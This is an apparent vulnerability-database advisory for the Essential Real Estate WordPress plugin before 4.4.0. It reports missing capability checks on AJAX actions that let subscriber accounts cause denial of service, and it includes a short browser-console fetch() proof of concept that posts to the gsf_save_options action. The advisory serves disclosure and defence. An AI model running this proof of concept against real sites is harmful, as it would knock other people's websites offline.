Lucene search

K
wpvulndbKrzysztof Zając (CERT PL)WPVDB-ID:96396A22-F523-4C51-8B72-52BE266988AA
HistoryDec 18, 2023 - 12:00 a.m.

Essential Real Estate < 4.4.0 - Subscriber+ Denial of Service via Arbitrary Option Update

2023-12-1800:00:00
Krzysztof Zając (CERT PL)
wpscan.com
7
real estate
wordpress
ajax
denial of service
capability checks

AI Score

6.4

Confidence

High

EPSS

0

Percentile

13.3%

Description The plugin does not apply proper capability checks on its AJAX actions, which among other things, allow attackers with a subscriber account to conduct Denial of Service attacks.

PoC

1. login, and visit https://vulnerable-site.tld/wp-admin/profile.php?action=delete 2. run the following in your browser console: fetch(“/wp-admin/admin-ajax.php?action=gsf_save_options”, {“headers”: {“content-type”: “application/x-www-form-urlencoded”,},“body”: _wpnonce=${GSF_META_DATA['nonce']}&_current_preset=template,“method”: “POST”,}).then((response) => {return response.text(); }).then((data) => {console.log(data);}) The same can be achieved via other AJAX actions in the plugin, like “gsf_import_theme_options”.

AI Score

6.4

Confidence

High

EPSS

0

Percentile

13.3%

Related for WPVDB-ID:96396A22-F523-4C51-8B72-52BE266988AA